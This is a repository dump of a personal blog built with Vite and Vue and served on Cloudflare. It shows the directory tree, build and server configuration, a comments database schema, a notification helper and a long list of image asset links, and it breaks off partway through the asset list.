│ │ ├── uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJV77Nv7g.woff2
│ │ ├── uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVD7Ng.woff2
│ │ ├── uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVP7Nv7g.woff2
│ │ ├── uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVT7Nv7g.woff2
│ │ └── uU9eCBsR6Z2vfE9aq3bL0fxyUs4tcw4W_D1sJVz7Nv7g.woff2
│ │ ├── google-fonts.css
│ │ ├── prism-tomorrow.css
│ │ ├── toc.css
│ │ └── typography.css
├── components
│ ├── comments
│ │ ├── CommentCreate.vue
│ │ ├── CommentDetail.vue
│ │ ├── Comments.vue
│ │ ├── Reactions.vue
│ │ ├── arknights.ts
│ │ └── utils.ts
│ ├── easter-egg
│ │ ├── Christmas.vue
│ │ └── Senpai.vue
│ ├── footer
│ │ └── Footer.vue
│ ├── header
│ │ └── Header.vue
│ ├── katex.vue
│ ├── metadata
│ │ └── Metadata.vue
│ ├── progressbar
│ │ ├── ProgressBar.vue
│ │ └── controller.ts
│ └── typography
│ │ ├── Link.vue
│ │ └── Typography.vue
├── entry.client.ts
├── entry.dev.ts
├── entry.nodejs.ts
├── entry.server.ts
├── entry.static.ts
├── global.css
├── metadata.json
├── routes
│ ├── (black-history)
│ │ ├── black-history
│ │ │ └── index.md
│ │ └── post
│ │ │ ├── (2017)
│ │ │ ├── blog-go-die
│ │ │ │ └── index.md
│ │ │ ├── codeforces-round-357-div-2-solution
│ │ │ │ └── index.md
│ │ │ ├── codeforces-round-396-div-2-solution
│ │ │ │ └── index.md
│ │ │ ├── codeforces-round-439-div-2-solution
│ │ │ │ └── index.md
│ │ │ ├── dirichlet
│ │ │ │ └── index.md
│ │ │ ├── how-to-use-sublime-3-compile-cpp-file
│ │ │ │ └── index.md
│ │ │ ├── mi-works
│ │ │ │ └── index.md
│ │ │ ├── noip2017-travel
│ │ │ │ └── index.md
│ │ │ ├── segment-tree-indoor
│ │ │ │ └── index.md
│ │ │ ├── timbers-contest-haiku
│ │ │ │ └── index.md
│ │ │ └── zyy-contest-simple
│ │ │ │ └── index.md
│ │ │ ├── (2018)
│ │ │ ├── canvas-live
│ │ │ │ └── index.md
│ │ │ ├── domain-change
│ │ │ │ └── index.md
│ │ │ ├── functional-1
│ │ │ │ └── index.md
│ │ │ ├── happy-new-year
│ │ │ │ └── index.md
│ │ │ ├── how-it-feel-backward-compatibility
│ │ │ │ └── index.md
│ │ │ ├── how-to-use-live2d-in-hexo
│ │ │ │ └── index.md
│ │ │ ├── html5-game
│ │ │ │ └── index.md
│ │ │ ├── io-games
│ │ │ │ └── index.md
│ │ │ ├── load-cover-from-mp3-file
│ │ │ │ └── index.md
│ │ │ ├── number-theory
│ │ │ │ └── index.md
│ │ │ ├── quiz-test
│ │ │ │ └── index.md
│ │ │ ├── reverse-sentense
│ │ │ │ └── index.md
│ │ │ ├── tensorflow
│ │ │ │ └── index.md
│ │ │ ├── winter-holiday-summary
│ │ │ │ └── index.md
│ │ │ ├── write-a-simple-acg-game
│ │ │ │ └── index.md
│ │ │ ├── zjoi-day2
│ │ │ │ └── index.md
│ │ │ └── zjoi2018-day1
│ │ │ │ └── index.md
│ │ │ ├── (2019)
│ │ │ ├── arch-install
│ │ │ │ └── index.md
│ │ │ ├── ascii-to-gbk
│ │ │ │ └── index.md
│ │ │ ├── bt-download
│ │ │ │ └── index.md
│ │ │ ├── certificate
│ │ │ │ └── index.md
│ │ │ ├── lightdm-theme-writing
│ │ │ │ └── index.md
│ │ │ └── quick-js
│ │ │ │ └── index.md
│ │ │ ├── (2020)
│ │ │ ├── archlinux-setup
│ │ │ │ └── index.md
│ │ │ ├── galois-theory
│ │ │ │ └── index.md
│ │ │ ├── happy-new-year-2021
│ │ │ │ └── index.md
│ │ │ ├── js-ts-gui-framework
│ │ │ │ └── index.md
│ │ │ └── vue3-ssr-tutorial
│ │ │ │ └── index.md
│ │ │ ├── (2021)
│ │ │ ├── anbox-arknights
│ │ │ │ └── index.md
│ │ │ ├── bevy-engine-ichi
│ │ │ │ └── index.md
│ │ │ └── clean-bilibili
│ │ │ │ └── index.md
│ │ │ └── (2022)
│ │ │ ├── bstar-unlock
│ │ │ └── index.md
│ │ │ ├── waydroid-arknights
│ │ │ └── index.md
│ │ │ └── x25519
│ │ │ └── index.md
│ ├── about
│ │ └── index.md
│ ├── annouce
│ │ ├── (2023)
│ │ │ └── blog-transfer
│ │ │ │ └── index.md
│ │ └── (2024)
│ │ │ ├── blog-comments
│ │ │ └── index.md
│ │ │ └── hug-to-vue
│ │ │ └── index.md
│ ├── friend
│ │ └── index.md
│ ├── index.md
│ ├── layout.vue
│ ├── post
│ │ ├── (2023)
│ │ │ ├── ancient-japanese
│ │ │ │ └── index.md
│ │ │ ├── byoumei-ha-ai-datta
│ │ │ │ └── index.md
│ │ │ ├── exploits
│ │ │ │ ├── cve-2021-23443
│ │ │ │ │ └── index.md
│ │ │ │ ├── cve-2022-35204
│ │ │ │ │ └── index.md
│ │ │ │ ├── cve-2023-26103
│ │ │ │ │ └── index.md
│ │ │ │ ├── cve-2023-29199
│ │ │ │ │ └── index.md
│ │ │ │ └── index.md
│ │ │ ├── hevc-wasm
│ │ │ │ └── index.md
│ │ │ ├── keigo
│ │ │ │ └── index.md
│ │ │ ├── meta-framework
│ │ │ │ └── index.md
│ │ │ ├── n1-learning
│ │ │ │ └── index.md
│ │ │ └── qwik-blog
│ │ │ │ └── index.md
│ │ └── (2024)
│ │ │ ├── cloudflare-d1
│ │ │ └── index.md
│ │ │ ├── deploy-deno
│ │ │ └── index.md
│ │ │ ├── hevc-wasm-2
│ │ │ └── index.md
│ │ │ ├── how-to-use-tproxy-linux
│ │ │ └── index.md
│ │ │ ├── nspawn-is-great
│ │ │ └── index.md
│ │ │ ├── pandoc-memo
│ │ │ ├── cover.png
│ │ │ ├── dengxian.png
│ │ │ ├── fandolsong.png
│ │ │ ├── fangsong.png
│ │ │ ├── index.md
│ │ │ ├── kaiti.png
│ │ │ ├── msyh.png
│ │ │ ├── notoserifcjksc.png
│ │ │ ├── nsimsun.png
│ │ │ ├── physics.png
│ │ │ ├── proof.png
│ │ │ ├── simhei.png
│ │ │ ├── simsun.png
│ │ │ └── tikz.png
│ │ │ ├── redroid-arknights
│ │ │ └── index.md
│ │ │ └── swc-intro
│ │ │ └── index.md
│ └── tools
│ │ ├── index.md
│ │ ├── kunjinkao
│ │ └── index.vue
│ │ ├── memo
│ │ └── index.md
│ │ ├── psw
│ │ └── index.vue
│ │ └── x25519
│ │ └── index.vue
├── utils
│ ├── chinese-calendar.ts
│ ├── crypto.ts
│ ├── crypto
│ │ ├── chacha20.ts
│ │ ├── sha256.ts
│ │ └── x25519.ts
│ ├── gbk.ts
│ ├── rehype-remove-paragraph.ts
│ ├── rehype-replace-element.ts
│ └── toc.ts
└── workers-env.d.ts
├── tailwind.config.js
├── tsconfig.json
├── vite.config.ts
├── vite
└── rehype-katex-vue.ts
└── wrangler.toml
/.dev.vars:
--------------------------------------------------------------------------------
1 | NTFY_TOPIC=
2 | REACTION_TOPIC=
3 | SECRET_KEY=1x0000000000000000000000000000000AA
4 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | /dist
2 | /node_modules
3 | /.swc
4 | /.wrangler
5 |
--------------------------------------------------------------------------------
/.npmrc:
--------------------------------------------------------------------------------
1 | @jsr:registry=https://npm.jsr.io
2 |
--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------
1 | **/*.log
2 | **/.DS_Store
3 | *.
4 | .vscode/settings.json
5 | .history
6 | .yarn
7 | bazel-*
8 | bazel-bin
9 | bazel-out
10 | bazel-qwik
11 | bazel-testlogs
12 | dist
13 | dist-dev
14 | lib
15 | lib-types
16 | etc
17 | external
18 | node_modules
19 | temp
20 | tsc-out
21 | tsdoc-metadata.json
22 | target
23 | output
24 | rollup.config.js
25 | build
26 | .cache
27 | .vscode
28 | .rollup.cache
29 | dist
30 | tsconfig.tsbuildinfo
31 | *.spec.tsx
32 | *.spec.ts
33 | .netlify
34 | pnpm-lock.yaml
35 | package-lock.json
36 | yarn.lock
37 | server
38 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # blog
2 |
3 | 个人博客
4 |
--------------------------------------------------------------------------------
/adapters/nodejs/vite.config.ts:
--------------------------------------------------------------------------------
1 | import { nodejsAdapter } from "@biliblitz/adapter-nodejs";
2 | import { defineConfig, mergeConfig } from "vite";
3 | import baseConfig from "../../vite.config.ts";
4 |
5 | export default mergeConfig(
6 | baseConfig,
7 | defineConfig({
8 | plugins: [nodejsAdapter()],
9 | }),
10 | );
11 |
--------------------------------------------------------------------------------
/adapters/static/vite.config.ts:
--------------------------------------------------------------------------------
1 | import { staticAdapter } from "@biliblitz/adapter-static";
2 | import { defineConfig, mergeConfig } from "vite";
3 | import baseConfig from "../../vite.config.ts";
4 |
5 | export default mergeConfig(
6 | baseConfig,
7 | defineConfig({
8 | plugins: [
9 | staticAdapter({
10 | origin: "https://blog.sww.moe",
11 | sitemap: true,
12 | }),
13 | ],
14 | }),
15 | );
16 |
--------------------------------------------------------------------------------
/functions/ntfy.ts:
--------------------------------------------------------------------------------
1 | const server = "https://ntfy.sww.moe/";
2 |
3 | export async function sendNotification(
4 | topic: string,
5 | title: string,
6 | message: string,
7 | priority = 3,
8 | ) {
9 | // skip DEV
10 | if (!topic) return;
11 |
12 | await fetch(server, {
13 | method: "POST",
14 | headers: { "Content-Type": "application/json" },
15 | body: JSON.stringify({ topic, title, message, priority }),
16 | });
17 | }
18 |
--------------------------------------------------------------------------------
/postcss.config.js:
--------------------------------------------------------------------------------
1 | export default {
2 | plugins: {
3 | "tailwindcss/nesting": {},
4 | tailwindcss: {},
5 | autoprefixer: {},
6 | },
7 | };
8 |
--------------------------------------------------------------------------------
/prettier.config.js:
--------------------------------------------------------------------------------
1 | /** @type {import("prettier").Config} */
2 | export default {
3 | plugins: ["prettier-plugin-tailwindcss"],
4 | };
5 |
--------------------------------------------------------------------------------
/public/404.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | 404 Resource Not Found
6 |
7 |
39 |
40 |
41 | 404 Resource Not Found
42 |
43 |
44 |
--------------------------------------------------------------------------------
/public/_headers:
--------------------------------------------------------------------------------
1 | # https://developers.cloudflare.com/pages/platform/headers/
2 |
3 | /build/*
4 | Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable
5 |
--------------------------------------------------------------------------------
/public/_redirects:
--------------------------------------------------------------------------------
1 | # https://developers.cloudflare.com/pages/platform/redirects/
2 |
--------------------------------------------------------------------------------
/public/_routes.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": 1,
3 | "include": ["/api/*"],
4 | "exclude": []
5 | }
6 |
--------------------------------------------------------------------------------
/public/assets/1596090744488-2020-07-30_14-31.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/1596090744488-2020-07-30_14-31.png
--------------------------------------------------------------------------------
/public/assets/MI1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/MI1.png
--------------------------------------------------------------------------------
/public/assets/OhNO3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/OhNO3.png
--------------------------------------------------------------------------------
/public/assets/chrome-https.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/chrome-https.png
--------------------------------------------------------------------------------
/public/assets/dirichlet.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/dirichlet.jpg
--------------------------------------------------------------------------------
/public/assets/euler.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/euler.jpg
--------------------------------------------------------------------------------
/public/assets/exploits/figure1/fig1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure1/fig1.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure1/fig2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure1/fig2.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure1/fig3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure1/fig3.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure1/fig4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure1/fig4.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig1.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig2.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig3.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig4.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig5.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure2/fig6.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure2/fig6.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure3/fig1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure3/fig1.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure3/fig2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure3/fig2.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure3/fig3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure3/fig3.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure3/fig4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure3/fig4.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure4/fig1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure4/fig1.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure4/fig2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure4/fig2.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure4/fig3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure4/fig3.png
--------------------------------------------------------------------------------
/public/assets/exploits/figure4/fig4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/exploits/figure4/fig4.png
--------------------------------------------------------------------------------
/public/assets/face1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/face1.jpg
--------------------------------------------------------------------------------
/public/assets/face2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/face2.jpg
--------------------------------------------------------------------------------
/public/assets/fermat.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/fermat.jpg
--------------------------------------------------------------------------------
/public/assets/figures/vue/context-hell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/figures/vue/context-hell.png
--------------------------------------------------------------------------------
/public/assets/figures/vue/preact-is-trash.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/figures/vue/preact-is-trash.jpg
--------------------------------------------------------------------------------
/public/assets/figures/vue/react-is-trash.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/figures/vue/react-is-trash.jpg
--------------------------------------------------------------------------------
/public/assets/haipa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/haipa.png
--------------------------------------------------------------------------------
/public/assets/html5.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/html5.jpg
--------------------------------------------------------------------------------
/public/assets/huaji.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/huaji.png
--------------------------------------------------------------------------------
/public/assets/image_2024-01-08_16-01-21.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/image_2024-01-08_16-01-21.png
--------------------------------------------------------------------------------
/public/assets/mengbi.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/mengbi.jpg
--------------------------------------------------------------------------------
/public/assets/momomo.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/momomo.gif
--------------------------------------------------------------------------------
/public/assets/shiina-mashiro.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/shiina-mashiro.jpg
--------------------------------------------------------------------------------
/public/assets/sticker.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/sticker.webp
--------------------------------------------------------------------------------
/public/assets/xxjrsyzzmydty1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/xxjrsyzzmydty1.png
--------------------------------------------------------------------------------
/public/assets/xxjrsyzzmydty2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/xxjrsyzzmydty2.png
--------------------------------------------------------------------------------
/public/assets/xxjrsyzzmydty3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/xxjrsyzzmydty3.png
--------------------------------------------------------------------------------
/public/assets/yukinoshita-yukino.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/assets/yukinoshita-yukino.jpg
--------------------------------------------------------------------------------
/public/avatar.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/avatar.png
--------------------------------------------------------------------------------
/public/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "https://json.schemastore.org/web-manifest-combined.json",
3 | "name": "swwind's blog",
4 | "short_name": "swwind's blog",
5 | "start_url": ".",
6 | "display": "standalone",
7 | "theme_color": "#fff",
8 | "background_color": "#fff",
9 | "description": "swwind's personal blog",
10 | "icons": [
11 | {
12 | "src": "/momoi.png",
13 | "sizes": "any",
14 | "purpose": "any",
15 | "type": "image/png"
16 | }
17 | ]
18 | }
19 |
--------------------------------------------------------------------------------
/public/momoi-white.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/momoi-white.png
--------------------------------------------------------------------------------
/public/momoi-white.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/momoi-white.webp
--------------------------------------------------------------------------------
/public/momoi.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/momoi.png
--------------------------------------------------------------------------------
/public/momoi.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/public/momoi.webp
--------------------------------------------------------------------------------
/public/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Sitemap: https://blog.sww.moe/sitemap.xml
3 |
--------------------------------------------------------------------------------
/schema.sql:
--------------------------------------------------------------------------------
1 | -- 创建表来存储评论
2 | CREATE TABLE IF NOT EXISTS comments (
3 | id TEXT PRIMARY KEY,
4 | path TEXT NOT NULL,
5 | name TEXT NOT NULL,
6 | time INTEGER NOT NULL,
7 | hash TEXT,
8 | pubkey TEXT NOT NULL,
9 | content TEXT NOT NULL,
10 | userAgent TEXT NOT NULL
11 | );
12 |
13 | -- 为 comments 添加 path 索引
14 | CREATE INDEX idx_comments_path ON comments (path);
15 |
16 | -- 创建表来存储反应
17 | CREATE TABLE IF NOT EXISTS reactions (
18 | path TEXT PRIMARY KEY,
19 | reactions TEXT NOT NULL
20 | );
21 |
--------------------------------------------------------------------------------
/server-static.js:
--------------------------------------------------------------------------------
1 | import { Hono } from "hono";
2 | import { serve } from "@hono/node-server";
3 | import { serveStatic } from "@hono/node-server/serve-static";
4 |
5 | const app = new Hono();
6 |
7 | app.use(serveStatic({ root: "./dist/static/" }));
8 |
9 | serve(app, (info) => {
10 | console.log(`Listening on http://localhost:${info.port}/`);
11 | });
12 |
--------------------------------------------------------------------------------
/server.js:
--------------------------------------------------------------------------------
1 | import { Hono } from "hono";
2 | import { serve } from "@hono/node-server";
3 | import { serveStatic } from "@hono/node-server/serve-static";
4 |
5 | import server from "./dist/nodejs/server.js";
6 |
7 | const app = new Hono();
8 |
9 | app.use(serveStatic({ root: "./public/" }));
10 | app.use("/build/*", serveStatic({ root: "./dist/client/" }));
11 | app.route("/", server);
12 |
13 | serve(app, (info) => {
14 | console.log(`Listening on http://localhost:${info.port}/`);
15 | });
16 |
--------------------------------------------------------------------------------
/src/Root.vue:
--------------------------------------------------------------------------------
1 |
34 |
35 |
36 |
37 |
38 |
39 |
--------------------------------------------------------------------------------
/src/assets/arknights/char_002_amiya.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_002_amiya.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_003_kalts.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_003_kalts.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_009_12fce.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_009_12fce.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_010_chen.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_010_chen.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_017_huang.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_017_huang.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1011_lava2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1011_lava2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1012_skadi2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1012_skadi2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1013_chen2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1013_chen2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1014_nearl2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1014_nearl2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1016_agoat2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1016_agoat2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_101_sora.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_101_sora.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1020_reed2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1020_reed2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1021_kroos2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1021_kroos2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1023_ghost2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1023_ghost2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1024_hbisc2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1024_hbisc2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1026_gvial2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1026_gvial2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1027_greyy2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1027_greyy2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1028_texas2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1028_texas2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_102_texas.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_102_texas.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1031_slent2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1031_slent2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1032_excu2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1032_excu2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1033_swire2.webp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/swwind/blog/9a1c7d18bc0cfd24e3a4ae36195682a6222cf612/src/assets/arknights/char_1033_swire2.webp
--------------------------------------------------------------------------------
/src/assets/arknights/char_1034_jesca2.webp:
--------------------------------------------------------------------------------
